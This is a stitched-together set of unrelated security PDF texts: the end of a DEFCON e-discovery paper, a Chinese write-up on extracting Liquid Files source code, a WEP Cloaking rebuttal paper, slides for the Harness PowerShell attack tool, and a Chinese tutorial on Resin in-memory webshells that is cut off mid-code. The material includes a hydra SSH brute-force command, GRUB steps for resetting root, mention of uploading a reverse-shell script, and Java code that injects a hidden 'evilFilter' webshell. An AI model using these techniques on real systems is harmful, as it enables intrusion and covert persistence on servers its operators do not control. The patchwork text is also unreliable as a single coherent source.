different path. The law was (and still is from an academic perspective) a safe haven from such subjects as high level math and computer programming languages. Many of these individuals were perfectly happy not knowing more about a computer than how to turn it on and off. Now they find themselves being forced to learn a new set of vocabulary and make arguments in court about systems which they may never fully understand. I have found that despite being an easy scapegoat, age has little difference when it comes to technology understanding. Over the past few months I have met attorneys who started 4 This misunderstanding is consistently perpetuated by the discussion of the issue of abortion. Every time that a commentator brings up the idea that Roe v. Wade will somehow be miraculously overturned with a change in the composition of the US Supreme Court is absurd. It is true that that decision may be interpreted and refined with future factual situations but the original decision will remain. (note: The specific issue of abortion is brought up for illustrative purposes only.) practicing before the Vietnam War who are more comfortable with a computer than many members of my own law school class. Moreover there are are few judges whose knowledge of how computers function on a low level eclipses that of attorneys who argue before them. What Is Electronic Discovery? To fully understand what electronic discovery (e-discovery) is, one must understand the litigation process. During litigation, both sides exchange information about the case. This can be in the form of depositions (verbal examination under oath), interrogatories (written questions) and document exchange. The rules governing this process come from the Federal Rules of Civil Procedure in the case of litigation in Federal court or your state rules of civil procedure for state cases. Prior to December of 2006 there were no provisions that specifically addressed how electronic documents should be handled during the discovery process. This is not to say that electronic data was never used during litigation. Electronic data was addressed for the first time in the early 1980s. There were, however, no real rules for the form that a production should take (paper v. electronic, tiff v. native format, etc.) and productions largely depended on the relative savvy of each attorney involved. What Do the Electronic Discovery Amendments Change and Require? It is important to realize that the Federal Rules apply to the litigation process and place no explicit requirements on organizations to change their normal business practices outside of a litigation setting. Instead, the Rules govern how litigation is conducted and frames the topics of discussion which should be occurring throughout the process. The Rules now require that attorneys from both sides meet and discuss issues relating to electronic productions within 99 days of the start of litigation at what is known as the 26(f) conference. This (in theory) should encourage litigants to look for relevant documents in digital form, which can reveal a great deal more about a set of facts than the printed page can. The specifics of discovery are negotiated between the parties which leads to different types of productions for different cases. In some cases, discovery remains entirely paper based. In others native files will be exchanged. The form of production that should occur depends on what the underlying issue is and whether native files will reveal important information. Considering the wide range of technology knowledge within the legal community, it would be advantageous for those who are savvy and involved in the litigation process to confer with their attorneys to help them understand what they should request. Unlike Sarbanes-Oxley which placed many new requirements directly on organizations with a deadline for compliance, the electronic discovery amendments only affect them through the litigation process. Many companies faced with tight budgets aren’t taking many steps to prepare in advance for litigation. This is clearly, their right to do so. It is, however, foolish and can lead to astronomical costs of litigation when it finally does occur. Penalties for failing to comply with a duty to preserve data range from monetary sanctions all the way to an “adverse inference” instruction. In this situation, a jury is instructed that they can assume that any files and communications not produced were harmful to the defendant. Such an instruction all but guarantees defeat for a defendant. Increasingly, judges are also holding attorneys themselves responsible for the negligent acts of their clients in preparing for discovery. Recently a number of California attorneys were reported to the state bar association for discipline after it was discovered that their client had withheld electronic evidence from the court. These sanctions are forcing attorneys to take e-discovery much more seriously, but they may still lack a fundamental understanding of technology leading them to focus conversations on a certain number of terms and topics which have been discussed at continuing legal education seminars. When working with attorneys, always do your best to educate them about technology as much as they educate you about the legal process. The Electronic Discovery Process • Identification: The stage at which an organization finds all potential sources of responsive data. This can be anywhere from archival backups to employee home computers. • Preservation: When litigation is reasonably anticipated, either through service of a complaint or consultation with an attorney to consider litigation, an organization has an affirmative duty to preserve any and all responsive data. • Collection: Data can be collected through a variety of means ranging from manual active data collection by employees to the use of a forensic expert to make whole disc images of machines. • Review: Attorneys (or in some cases paralegals) will sift through the collected data to determine whether the documents are responsive (a much broader term than relevance) to the lawsuit. They will also review for potential privilege, build logs of data which is retained under privilege, redact irrelevant information, employee personal information and any other data to be kept secret under the law (such as HIPAA). • Production: The actual exchange of responsive information between parties. • Presentation: Use of electronic evidence at a tribunal such as an arbitration, mediation or trial. Why Does Electronic Discovery Cost So Much? Electronic discovery is extremely costly due to the amount of hours that it takes to sift through the data retained by organizations. As storage has become inexpensive, companies have chosen to retain more and employees have become more likely to spread information throughout the organization instead of keeping it in one place. The review process can be tedious and repetitive. While there are methods of identifying duplicate documents (using MD5 or SHA1 hashing), many near duplicates remain. Current technology lacks the ability to redact passages across nearly duplicate documents, resulting in many hours of attorneys redacting the same passages from long email threads. Processing costs from e-discovery vendors can also be very expensive. Restoring data from backups, imaging files, metadata extraction and OCR is very processor intensive which forces many projects to be handled outside law firms, placing data in the hands of a third party. What Can Organizations Do To Keep Costs Down? If there is much good news in the world of electronic discovery for security and information technology professionals it is that e-discovery may serve as a major driver to change corporate policy decisions. The parallels between law and security are clear: • Unless data can be identified and located it can neither be secured nor examined for relevance. • The lower the volume of information an organization holds, the easier it is to secure and review for responsiveness. • By centralizing data storage, costs of storage and potential costs of litigation response can be decreased. Much of the early stages of the electronic discovery process can be completed before litigation is contemplated. An organization would be well served to fully document all policies and procedures relating to data handling and backup, infrastructure diagrams and supported applications. In addition, working with inside and outside counsel to formulate a litigation response strategy and incorporating it with all business continuity plans can help streamline the early stages of litigation. Besides working to develop policies and information architecture maps, user education can alleviate much of the repetitive nature of the review process. Topics to consider addressing with employees could include: • How to properly respond to and forward e-mail: There is no need for email threads to extend what is necessary to understand a response. • How to avoid death by CC: Does the entire sales team really need to receive an attached copy of daily cumulative sales reports? • Knowing what data you don’t need on your machine: Customer databases should reside in a central location and never give multiple copies to individuals unless there is an absolute need. • How to use the delete key: I think this speaks for itself. • How to use the telephone: Many conversations should not be carried out over email, which will be retained and potentially become part of a court record. Security Risks Posed By Electronic Discovery Financial risk is not the only one which is growing as a result of the use of electronic discovery. By it’s very nature, discovery means giving your data to another party whom you do not control. The discovery process can mean large volumes of data leaving your control and falling into the hands of: • Your e-discovery processing vendor • Your law firm • The opponent’s law firm • The opponent’s processing vendor More e-discovery vendors are popping up every week, and many of them don’t take security as seriously as they should. These organizations are a large target for attackers because they hold the data for not merely one, but often multiple organizations. As your organization chooses a vendor to help you through the process, demand from them more than a cursory comment about granular user access controls and 128 bit SSL connections. As you work with inside and outside counsel, all parties will benefit greatly from the perspective offered by security specialists. Attorneys have a difficult enough time understanding technology in the larger sense, let alone the intricacies involved in hardening data security. Help them understand that things like third party security audits and increased expectations of vendors decreases the risk of an information breach and helps them better to comply with their ethical obligations of confidentiality. Conclusion I often find it difficult to explain to people what I do. Most individuals, understandably, would have expected that the legal system would have been aggressively pursuing the rich opportunities for finding relevant information within computer systems years ago. That is, unfortunately, not the case. Electronic discovery is currently creating a great deal of frustration for clients and attorneys because of the complexity and costs involved. I believe that these are simply growing pains that the law is going through as we adjust to the new environment. Anyone who has even a cursory knowledge of the US legal system knows that a plaintiff suing a large corporation is at a distinct disadvantage due to the costs involved in sifting through huge volumes of information. Thankfully the days of a major corporate firm arriving at a small firm with trailers full of documents and microfiche are now behind us. When I was in Washington for Shmoocon in February I made it a point to visit our seat of justice, the US Supreme Court. The front of the courthouse reads “Equal Justice Under the Law.” I believe that electronic discovery has the potential to level the playing field for litigants in much the same way that the internet has for individual expression. It is always a pleasure to speak at DEFCON and I appreciate the opportunity to speak at Blackhat, and I look forward to seeing you all again soon. Res Ipsa Loquitur, jur1st Recommended Resources http://www.law.cornell.edu/rules/frcp/ - The Federal Rules of Civil Procedure http://www.edrm.net - The Electronic Data Reference Model has a wealth of information about the e-discovery process, including a tightly regulated wiki containing the current leading thoughts on the process. http://www.thesedonaconference.org/publications_html - The Sedona Conference is an organization which has led the way in developing principles for attorneys and organizations to follow when using electronic data within litigation. The Conference predates the 2006 amendments and they were extremely influential on the Advisory Committee. http://www.ediscoverylaw.com/ - The law firm of K&L Gates (yes...that Gates) does an amazing job of compiling information on current electronic discovery laws. Here you will find a free (as in beer) database of over 900 cases as well as links to state rules of electronic discovery. http://del.icio.us/jur1st/ediscovery - I spend about an hour per day reading up on new developments in electronic discovery. I do my best to mark good materials for my own, and now for your, future reference. About The Author and Presenter John Benson currently works as an electronic discovery consultant for the Kansas City law firm Stinson Morrison Hecker LLP. A graduate of the University of Missouri from both Columbia and Kansas City campuses, he is a member of the Missouri Bar Association and serves as the chairman of the Kansas City Metropolitan Bar Association Computer Law and Technology Committee. He has taught law, ethics and (oddly enough) finance as an adjunct professor at The Colorado Technical University. He has presented at hacker cons around the country including LayerOne, Pumpcon, Shmoocon and DEFCON. He can be found on the DEFCON boards and assisting with radio communications at DEFCON. His website can be found at http://www.john-benson.com. Colophon Brainstorming and drafting of the presentation was done by hand in a Moleskinne notebook. Computers were never meant to be an outlet of creativity when it comes to the written and spoken word. The slides were created using Keynote 08 on various pieces of Apple hardware using photos from iStockphoto and Google in locations ranging from my fortified compound in Waldo to Midway Airport, the Wardman Park, the sweet spot in the hallway where an open AP could be found at the Washington Marriott, and the Smoking Oasis in Pasadena. The font used in the presentation and this accompaniment is Helvetica Neue.
pdf
1 从⼀次实战,聊聊获取源代码的姿势 Liquid Files LxLL ⼀般思路 LxLN 试⽤ LxLO 柳暗花明 LxLP 单⽤户模式 LxLQ 后台鸡肋命令执⾏(低权限) EXP 进c神的圈⼦也挺久,还没有发过帖⼦,于是借最近的⼀个案例,来聊聊实战中获取源码的⼀些姿势。 (也是前段时间某次闭⻔分享的素材: hope you guys enjoy it~ Liquid Files是国外的⼀款⽹盘,官⽹:https://www.liquidfiles.com/ Liquid Files 2 是收费的⼀套系统,⽼外⽤得多。 咱们今天就来试试获取这套系统的源代码,并进⾏前期的攻击⾯评估(初步的代码审计) 正如我在⽂章《记⼀次Java Servlet实战审计 - 先知社区》中说的那样,获取系统的源代码主要可以从 ⼏个⻆度来考虑: 1. 同类站扫⽬录。 a. 上Fofa搜索同类系统 b. 导出资产列表 c. ⽬录扫描。具体操作起来,就是使⽤ dirbuster 的字典 directory-list-2.3- medium.txt 来扫,⼯具就随便⽤个顺⼿的, dirseach (ps:它的字典 dicc.txt 也好 ⽤) 结论:因为本身这玩意⼉的发布形式都是镜像,统⼀部署的,当然不会有备份⽂件了。。。⽆果。 2. ⽹盘泄露。这套系统并不开源,⼀般国内的⼚家发版的时候为图⽅便,都会放了⼀些在⽹盘,简单 ⼀搜就知道有⽆结果。 结论:⼈家⼚家本身有官⽹,没必要传⽹盘,麻烦。⽆果 3. Github、gitlab泄露。搜了下——您看看,这像源码么? 0x00 ⼀般思路 3 结论:⽆果。。。 也不绕弯⼦了,但凡看过官⽹就知道:这公司很耿直,直接提供了试⽤...... 这也正是本⽂主要想介绍的技巧:利⽤⼚家的安装镜像,获取源代码。 那么我们直接注册试⽤,登录注册进到下载界⾯... 0x01 试⽤ 4 舒舒服服的。随便下哪个都⾏,安上跑起来 填写 License Key 5 安装信息填好,部署在内⽹,直接开冲! 在系统⾥玩耍⼀番后,发现System下⾯有个功能叫Console,⼤喜——点进去⼀看:nmd,试⽤ License⽆法使⽤Console 6 可⻅,⼚家并不希望试⽤⽤户拿到root权限......此时,获取源码像是陷⼊了僵局 不过——且让我们来整理整理⼿上的信息: 1. 端⼝只开了80,443,222,连ssh端⼝都没开..... 2. 不对,默认不放开ssh的话,那系统⼀旦出问题了——连也连不上——岂不是直接烂在⾥⾯,不合适 吧。因此,感觉不怎么可能关闭ssh 3. 仔细⼀看,噢,原来这个222,就是ssh的端⼝ 4. 好的,现在知道ssh开放了,但是root密码呢,翻了翻⽂档,没找到。。。 5. 于是爆破! top10k 、 rockyou.txt ——给爷猛冲! 0x02 柳暗花明 Ruby 复制代码 Ruby 复制代码 Ruby 复制代码 80/tcp open http 222/tcp open rsh-spx 443/tcp open https 1 2 3 PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 7.4 (protocol 2.0) MAC Address: 00:0C:29:4C:C9:82 (VMware) 1 2 3 hydra -t 4 -l root -P rockyou-15.txt -s 222 ssh://10.10.111.6 1 7 全部出错?不让我爆破? 不让爆破,那咋办,这镜像安在我的电脑上,就是我的了,爆破⼀下居然还要被拒之⻔外? 7. 突然想到——这套系统安装在VM中——相当于我可以物理接触它——再联想⼀下Windows不是开 机的时候可以通过进⼊安全模式来恢复密码吗——Linux应该也有这种模式吧? 于是,有了这第三节 下⾯的内容参考⾃http://c.biancheng.net/view/1041.html 0x03 单⽤户模式 ● 很多新⼿当⾯对“忘记 root 账户密码导致⽆法登陆系统”这个问题时,直接选择重新系统。其实⼤ 可不必,我只需要进⼊ emergency mode(单⽤户模式)更新 root 账户的密码即可。 8 如何进⼊单⽤户模式 现在,我们假设系统出现了问题,已经不能正常登录了。那么,如何进⼊单⽤户模式呢?⾸先需要重启 服务器,在 GRUB 读秒界⾯按任意键,进⼊ GRUB 菜单界⾯,如图所示 在想要进⼊单⽤户模式的 Linux 菜单上按"e"键,就会进⼊ GRUB 编辑界⾯,如下图所示: 找到 linux /boot/vmlinuz-* 那⾏,江湖上传闻有两种常⻅的操作⽅式: 1. 【我常⽤】在最后添加 init=/bin/bash ,然后按 ctrl+x 或者 F10 继续grub引导,此后的⽤ 户,即为root⽤户,可以在其中随意更改root⽤户的账号密码 2. (没试过)将它的ro recovery nomodestset及之后的东⻄替换为 rw single init=/bin/bash ,然后按 ctrl+x或者F10 进⼊单⽤户模式 ● Linux 的单⽤户模式有些类似 Windows 的安全模式,只启动最少的程序⽤于系统修复。在单⽤户 模式(运⾏级别为 1)中,Linux 引导进⼊根 Shell,⽹络被禁⽤,只有少数进程运⾏。 9 总之,虽然单⽤户模式下⾯没有⽹络,但可以修改⽤户的密码呀~ 更改密码之后重启,登录ssh 通过web的静态⽂件,锁定源码⽂件的路径: /app zip打包,起SimpleHTTPServer到8080端⼝,准备下源码咯 诶,为啥访问不到??? ⼀查,存在 ufw 防⽕墙——当然要把它关闭——不过我这⾥⽐较温柔,添加了放⾏规则 10 下载,搞定! ⾄此,源码到⼿,且⽆混淆——⿊盒变⽩盒,美滋滋。 11 发现⼀个叫做 Actionscripts 的功能,⼤意就是可以在这⾥⾃定义函数,在某些特定的流程中会⾃动 执⾏。 顺⼿传个弹shell的脚本,上图中可以看到,系统会⾃动识别脚本的类型 上机查看,脚本被保存在⽬录 /data/domains/default/actionscripts 下,名字没有改动。 接下来,当然就跟源码 全局搜索 actionscripts 关键字,定位到这个⽂件 app\current\app\helpers\admin\actionscripts_helper.rb 0x04 后台鸡肋命令执⾏(低权限) 12 这⾥补充1个知识点: 霍!会执⾏命令,⽽且执⾏的内容跟⽤户传⼊的⽂件名相关——有搞头 跟⼊类的代码,发现构造⽅法 initialize 、 path 的实现 initialize ,简单赋值,没啥 path ⾥⾯有⽤ shellescape 对参数进⾏转义,那没事了。。 然⽽,接着看下去就知道,⽆法命令注⼊,不光有这个原因。 还是回到刚刚的危险函数 actionscripts_type_column ,它在哪⾥被调⽤了呢? Ruby中, %x{COMMAND} 这种写法,代表使⽤ ` 执⾏⼀段 shell 脚本,并返回标准输出内容 ● ● 13 ——在 erb 模板中,也就是MVC框架中的View层,代码如下图所示 (顺便感受下Rails模板的渲染效果) 上⾯我们说到,⽤户请求在框架中的流转顺序,其实是 Controller、Model、View 在View层发现了⻛险点,当然要跟⼀下它之前的 Controller ,也就是 app\v3.5.12\app\controllers\admin\actionscripts_controller.rb 函数列表如下 其中,控制器的前两⾏是 before_action ,类似于Java Web中的Filter 使⽤ sanitize_filename ⽅法,对⽂件名参数进⾏了处理 14 校验了逻辑只允许 a-zA-Z0-9-_ ,其它的字符都会被替换成 _ 。 总之,这个功能点,先在Controller层就校验了⽂件名,后⾯在View层调⽤的也是 shellescape 转义 过的安全执⾏函数——这个过滤还挺够劲⼉。 不急,咱们继续往下分析。 后台找半天没找到这个ActionScript在哪⾥会触发...于是依然搜代码,原来 在“添加⽤户”的地⽅,有个功能叫 Delivery Action ,设置给某个⽤户发消息后⾃动进⾏的Action 完整的利⽤过程如下图所示 Ruby 复制代码 What delivery action should be taken when a message is being delivered to this user. You can manage Actionscripts in the Actionscripts section. EXP def sanitize_filename unless (@sanitized_filename = script_params[:script_name].gsub(/[^a-zA- Z0-9\-\_\.]/, "_").gsub(/^\./, "_").strip).present? render_error "Invalid Filename", { location: admin_actionscripts_url } end end 1 2 3 4 5 6 7 15 或是其它⼏个功能,也能触发 只不过,是⼀个低权限的⽤户——⼏乎什么权限都没有。。。既然改不了⽂件,就⽆法通过修改代码的 ⽅式来提权,那咋办? 留给各位师傅思考,今天的⽂章就写到这⾥,哈哈~
pdf
The Emperor Has No Cloak - WEP Cloaking Exposed Deepak Gupta and Vivek Ramachandran Security Research Team (Amit, Gopi, Pravin) 1. Summary: WEP Cloaking is a recently proposed anti-WEP-cracking technique that is claiming to be the savior of legacy WLAN devices still replying on WEP encryption. The WEP Cloaking mechanism is meant to be used in Wireless Intrusion Prevention Systems (WIPS) to protect WEP encrypted networks. The WEP Cloaking technique sends spoofed WEP encrypted packets a.k.a. “chaff” into the air. These packets are specially crafted to try and confuse WEP cracking tools which subsequently would fail to crack the WEP key. In course of our talk, we will demonstrate that WEP Cloaking is no panacea; it can at best delay WEP key cracking by a few seconds. We will discuss 3 techniques: Visual Inspection, Sequence number + IV filtering, and Active Frame Replay to reliably beat WEP Cloaking. We also plan to release new tools and patches for existing ones to incorporate these techniques. 2. History of WEP Cracking In 2001, Fluhrer, Mantin and Shamir, in their celebrated paper “Weaknesses in the Key Scheduling Algorithm of RC4”, proved that WEP could be cracked using statistical attacks. A few years later, in 2004, Korek released a couple of more statistical attacks, making WEP key cracking even faster. Soon after, many WEP cracking tools were released into the public domain, making WEP cracking an absolute Script-Kiddie job. WEP cracking tools work by collecting WEP encrypted packets over the air, then run them through these statistical attack filters and try to converge to the authorized network’s key. It is important to note here that not all WEP encrypted packets aid in cracking the key. Only those which contain “Weak IVs” help in the cracking process. An IV is the Initialization Vector which is transmitted in the clear with each WEP encrypted packet and is used along with the WEP key to decrypt the packet. A Weak IV is an IV which satisfies one or more of the FMS and Korek statistical attack conditions. Due to the easy availability of WEP cracking tools and their widespread usage by the hacker community, WEP was officially declared dead and the industry started adopting the WPA/WPA2 security mechanisms to stay protected against Wireless snoopers. 3. What is WEP Cloaking? WEP Cloaking is an anti-WEP-cracking technique which aims to breathe life back into WEP and make it safe for use again. WEP Cloaking works by injecting “Chaff” packets into the air. These Chaff packets are spoofed WEP encrypted packets which are generated using a set of predetermined or entirely random keys. The MAC header would be spoofed to use addresses of the Access Points and Clients of the authorized network that the technique is intended to protect. The chaff packets thus get homogenously mixed with authorized network’s packets and it is difficult to tell them apart by glancing at a packet trace. It is important to note here that WEP Cloaking does not address other WEP vulnerabilities such as Message Modification, Replay attacks, Shared authentication flaws, Packet decoding using ICV etc. 4. Why WEP Cracking tools fail in presence of WEP Cloaking? WEP Cracking tools “trust” the packets they see over the air. They assume that the captured packets are not “corrupted” in anyway. WEP Cloaking in principle simply attacks this notion of trust. It injects Chaff packets generated with a set of random keys to introduce “noise” into the network. Current WEP Cracking tools blindly use all packets they capture as input to the statistical attack filters and thus are mislead by these Chaff packets. The Chaff packets may be specially crafted to only include Weak IV packets in order to cause a wrong bias in the cracking logic of these tools, thus causing these tools to either converge to a wrong key or give up after trying for a long time. We will demonstrate this behavior in the demo section. 5. How can WEP Cloaking be beaten? To beat WEP Cloaking cracking tools need a way to separate the chaff packets from those that are transmitted by the actual devices. We will use Aircrack as a benchmark for our discussion as it is one of the most popular and widely used tools for WEP cracking today. We will discuss the following three techniques which will aid cracking in presence of Chaff: 5.1) Guiding Aircrack with Manual Inputs via Visual Inspection: WEP cracking is a byte by byte process. Once the first byte of the key has been guessed, we move on to cracking the next byte of the key using the guessed value for the first byte. Thus all guessed key bytes are used in guessing the next key byte. Aircrack uses the same logic. For every byte that it guesses, Aircrack prints the votes in favor of the possibilities for that byte and chooses the “guessed byte” as the one with the highest vote. In presence of Chaffing we will demonstrate that the votes for each possibility for the byte in question show an abnormal bias towards some values. We use this anomaly to our advantage by modifying Aircrack to support user interaction while cracking each byte. The modified Aircrack prints all the possibilities for a byte and asks the user which possibility he would like to use as the “guessed key byte”. Our experiments demonstrate that apart from the case where the Chaffer uses a very large number of absolutely random keys, the modified Aircrack is able to zero down on the network key. For handling the case of large number of random keys we will use Aircrack in conjunction with the next two techniques. 5.2) Sequence Number and IV based passive filtering: Chaff frames are essentially spoofed and do not belong to the authorized network traffic. Thus a filter which can detect spoofed packets in an 802.11 network can essentially detect these Chaff packets. Sequence Number based analysis is a well established way of detecting spoofed packets. Because the sequence number space is small and rewinds quite often, we also use IV based analysis for detecting spoofed packets. The logic behind both these techniques is that when we compare the trend of the values of the sequence numbers and IVs of an authorized network device with the Chaffer generated traffic, we will clearly see a visible difference. Using this, we can reliably separate the trace in question. Our experiments demonstrate that using Sequence Number + IV trend analysis as a pre-processor, WEP cracking tools such as Aircrack are easily able to crack the key in presence of Chaffing. We have found this technique to work well even in presence of a Chaffer that uses a large number of randomly changing keys. 5.3) Active Frame Replay based filtering: The idea behind this technique is that when a authorized network device receives a WEP encrypted packet addressed to it, it tries to decrypt it and checks whether the decryption succeeded by testing the decrypted packet against the Integrity Check Value (ICV) inside the packet. If the ICV does not match, the packet is discarded. If it matches the packet is accepted. Only a packet encrypted with the authorized network key will pass this test. This fact can be used to filter out Chaff packets from the captured packet stream, since these packets when received by an authorized network device will be discarded as the ICV check will fail. Whenever a Weak IV packet is encountered while cracking the key we will selectively replay these packets to an authorized AP by spoofing the source MAC of an authorized client and changing the destination MAC as broadcast or a chosen multicast address. If we see a packet being replayed back to the same multicast address then it can be safely inferred that the packet in question is legitimate and not Chaff. Our experiments demonstrate that by using this technique 100% Chaff separation is easily possible. Note that replaying all packets is not needed; only those packets that potentially influence the decision making of the cracking logic need to be replayed. We will, in our presentation condense the above 3 techniques together and talk about the design of a Chaff resistant Aircrack. 6. Final Verdict on WEP Cloaking WEP is dead and any attempt to revive it, will meet a similar fate. Our techniques prove beyond doubt that WEP cloaking can be reliably and consistently beaten no matter what the complexity of the Chaffing Engine. References: 1. Vendor aims to ‘cloak’ WEP http://www.networkworld.com/news/2007/032907-air-defense-wep-wireless- devices.html?page=1 2. The TJX breach using Wireless http://www.emailthis.clickability.com/et/emailThis?clickMap=viewThis&etMail ToID=2131419424 3. RC4 stream Cipher basics http://en.wikipedia.org/wiki/RC4 4. Wired Equivalent Privacy (WEP) http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy 5. Weaknesses in the Key Scheduling Algorithm of RC4, Selected Areas in Cryptography, 2001 - Fluhrer, Mantin and Shamir http://www.wisdom.weizmann.ac.il/~itsik/RC4/Papers/Rc4_ksa.ps 6. Korek’s post on Netstumbler http://www.netstumbler.org/showpost.php?p=89036 7. WEP Dead Again: Part 1 – Infocus, Securityfocus.com http://www.securityfocus.com/infocus/1814 8. WEP Dead Again: Part 2 – Infocus, Securityfocus.com http://www.securityfocus.com/infocus/1824 9. Aircrack-ng : WEP Cracker http://www.aircrack-ng.org/ 10. Airsnort : WEP Cracker http://airsnort.shmoo.com/ 11. Pcap2air : Packet replay tool http://www.802.11mercenary.net/pcap2air/ 12. Chop-Chop : Packet decoder using WEP ICV flaw http://www.netstumbler.org/showthread.php?t=12489 13. Intercepting Mobile Communications: The Insecurity of 802.11 – N.Borisov http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf 14. Your 802.11 Wireless Network has No Clothes – William Arbaugh http://www.cs.umd.edu/~waa/wireless.pdf 15. Detecting Detectors: Layer 2 Wireless Intrusion Analysis – Joshua Wright http://home.jwu.edu/jwright/papers/l2-wlan-ids.pdf 16. Detecting WLAN MAC address spoofing – Joshua Wright http://home.jwu.edu/jwright/papers/wlan-mac-spoof.pdf 17. WPA/WPA2 the replacement for WEP http://en.wikipedia.org/wiki/WPA2 18. AirDefense Perpetuates Flawed Protocols – Joshua Wright http://edge.arubanetworks.com/blog/2007/04/airdefense-perpetuates- flawed-protocols
pdf
Harness: Powershell Weaponization Made Easy (or at least easier) Rich Kelley @RGKelley5 What’s this all about anyway? • Audience: Penetration testers Red Teams Powershell activists Python enthusists • Bottom line Powershell weaponization can be somewhat cumbersome Hopefully I’ve made that a little easier with the Harness tool set Who is this guy? • Computer science background • Prior US Air Force Communications Officer • Network engineer, software developer, penetration tester • Currently focused on application pen testing • Mostly I enjoy writing obscure utilities pyhashcat Keyboard walk generators Why should I care? • “…Microsoft’s Post-Exploitation Language” - @obsuresec • Defenders should be more aware of the damage attackers can do with Powershell alone • We need more research into incident response related to malicious Powershell use DEF CON 22 - Ryan Kazanciyan and Matt Hastings, Investigating PowerShell Attacks Powershell weaponization problem? “How do you get your [Powershell] scripts running on your target machines, and effectively get your results back?” - @harmj0y Hasn’t this problem been solved? • Yep, but I’m a developer. Why use someone else’s solution when I can write my own (I’m kidding…sort of) • Previous solutions were not as seamless as I wanted Step 1: Gain access Step 2: ????? Step 3: Use powershell Step 4: Pwn all things! • A couple of very cool new solutions have recently been released RDP – Copy/Paste or Import-Module Remote shell – call powershell.exe Metasploit – exec_powershell Metasploit – Interactive PS Payloads Cobalt Strike – Beacon My Development Requirements 1. Fully interactive remote Powershell console with the same capabilities as the native Powershell.exe 2. Ability to seamlessly import modules across the wire Demo Time! Under the hood • Payload Requirements .NET 3.0+ Powershell 2.0 System.Management.Automation Assembly • Tested on: Windows 7 Window 8 Windows 8.1 Windows Server 2008 R2 Windows Server 2012 Under the hood • Listener/Framework Requirements Python 3.4 Asyncio Linux Tested on Kali • Why Python? Why not Ruby? Why not Metasploit? Mostly for the learning experience I prefer Python to Ruby (calm down) Should be simple enough to port to Metasploit module Under the hood Payload Socket ps.BeginInvoke while script not valid: accumulate end PS C:\> script/cmd Send results ls PS C:\> ls Directory C:\ Mode: LastWriteTime ----- --------------------- d---- 2/2/1015 Handler PS C:\> ls Under the hood Payload Handler Socket ps.BeginInvoke Inbound script True PS C:\> <rs> PS C:\> ^import-module script.ps1 Send results Socket byte stream PS C:\> ^import-module script.ps1 Directory C:\ Mode: LastWriteTime ----- --------------------- d---- 2/2/1015 while !rcvd close signal: accumulate end </rs> Questions?
pdf
无文件马 Resin 3.x WebApp Filter 基于 addFilterMapping Servlet 基于 addServletMapping Resin 3.x & 4.x Filter 无文件马 Resin 3.x 内存马相关实现、本地测试版本:resin v3.1.16 WebApp 当前代码运行时上下文环境 配置 web.xml com.example.general.ServletShell#doGet 方法处断点,获得相关的调用栈如下 逐步分析 com.caucho.server.dispatch.ServletInvocation 成员方法 getContextRequest() <servlet>    <servlet-name>ServletShell</servlet-name>    <servlet-class>com.example.general.ServletShell</servlet-class> </servlet> <servlet-mapping>    <servlet-name>ServletShell</servlet-name>    <url-pattern>/index</url-pattern> </servlet-mapping> com.caucho.server.http.HttpRequest 继承自 com.caucho.server.connection.AbstractHttpRequest 成员方法 getWebApp() com.caucho.server.webapp.Application 继承自 com.caucho.server.webapp.WebApp 向上转换(upcasting),方便调用父类(WebApp)中定义的方法和变量 Object currentRequest = this.getClass().getMethod("getContextRequest").invoke(null); currentRequest.getClass() -> com.caucho.server.http.HttpRequest currentRequest.getClass().getMethod("getWebApp").invoke(currentReque st) -> com.caucho.server.webapp.Application WebApp webApp = (WebApp)currentRequest.getClass().getMethod("getWebApp").invoke(curr entRequest); 可成功获取到当前web context(WebApp)。 com.caucho.server.webapp.WebApp 需要关注的成员方法 Filter Listener Servlet 至此,针对不同类型的内存马调用相关的成员方法注入即可。 获取WebApp(当前上下文)的代码实现 运行时截图 Filter 基于 addFilterMapping addFilterMapping com.caucho.server.webapp.WebApp#addFilterMapping ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Class servletInvocation = classLoader.loadClass("com.caucho.server.dispatch.ServletInvocation"); Object currentRequest = servletInvocation.getMethod("getContextRequest").invoke(null); WebApp webApp = (WebApp)currentRequest.getClass().getMethod("getWebApp").invoke(currentRequest); Filter 示例 Filter 配置 常用的方法就是先在web.xml中定义1个 filter demo,然后断点查看相关配置参数 _filterName _filterClassName _filterClass _urlPattern ... 注入思路 获取当前环境的WebApp(上下文) 构造filterMapping,添加 相关配置 调用成员方法addFilterMapping添加该filterMapping即可 代码实现 filterMapping.setFilterClass(); filterMapping.setFilterName(); FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern(); urlPattern.addText(urlPatternX); urlPattern.init(); String filterName = "evilFilter"; String urlPatternX = "/resin/*"; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Class servletInvocation = classLoader.loadClass("com.caucho.server.dispatch.ServletInvocation"); Object currentRequest = servletInvocation.getMethod("getContextRequest").invoke(null); WebApp webApp = (WebApp)currentRequest.getClass().getMethod("getWebApp").invoke(currentRequest); Class evilClazz = classLoader.loadClass("com.example.general.FilterShell"); FilterMapping filterMapping = new FilterMapping(); filterMapping.setFilterClass(evilClazz.getName()); filterMapping.setFilterName(filterName); FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern(); urlPattern.addText(urlPatternX); urlPattern.init(); webApp.addFilterMapping(filterMapping); response.getWriter().write("inject success"); 测试效果 ps: resin下会报异常如下( 有师傅知道为啥嘛,求指点 ) java.lang.IllegalStateException: sendError() forbidden after buffer has been committed. Servlet 基于 addServletMapping addServletMapping com.caucho.server.webapp.WebApp#addFilterMapping Servlet 示例 Servlet 配置 常用的方法就是先在web.xml中定义1个 servlet demo,断点查看相关配置参数 _servletName _servletClassName _servletClass ... 注入思路 获取当前环境的WebApp(上下文) 构造servletMapping,添加相关配置 调用成员方法addServletMapping添加该servletMapping即可 代码实现 servletMapping.setServletClass(); servletMapping.setServletName(); servletMapping.addURLPattern(); 测试效果 Resin 3.x & 4.x Filter resin 4.x 内存马的相关实现步骤与3.x没有太大的区别,这里直接给出已适配 resin 3.x & 4.x 的Filter型 内存马 String servletName = "evilServlet"; String urlPatternX = "/resin/*"; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Class<?> servletInvocation = classLoader.loadClass("com.caucho.server.dispatch.ServletInvocation"); Object servletRequest = servletInvocation.getMethod("getContextRequest").invoke(null); WebApp webApp = (WebApp) servletRequest.getClass().getMethod("getWebApp").invoke(servletRequest); Class evilClazz = 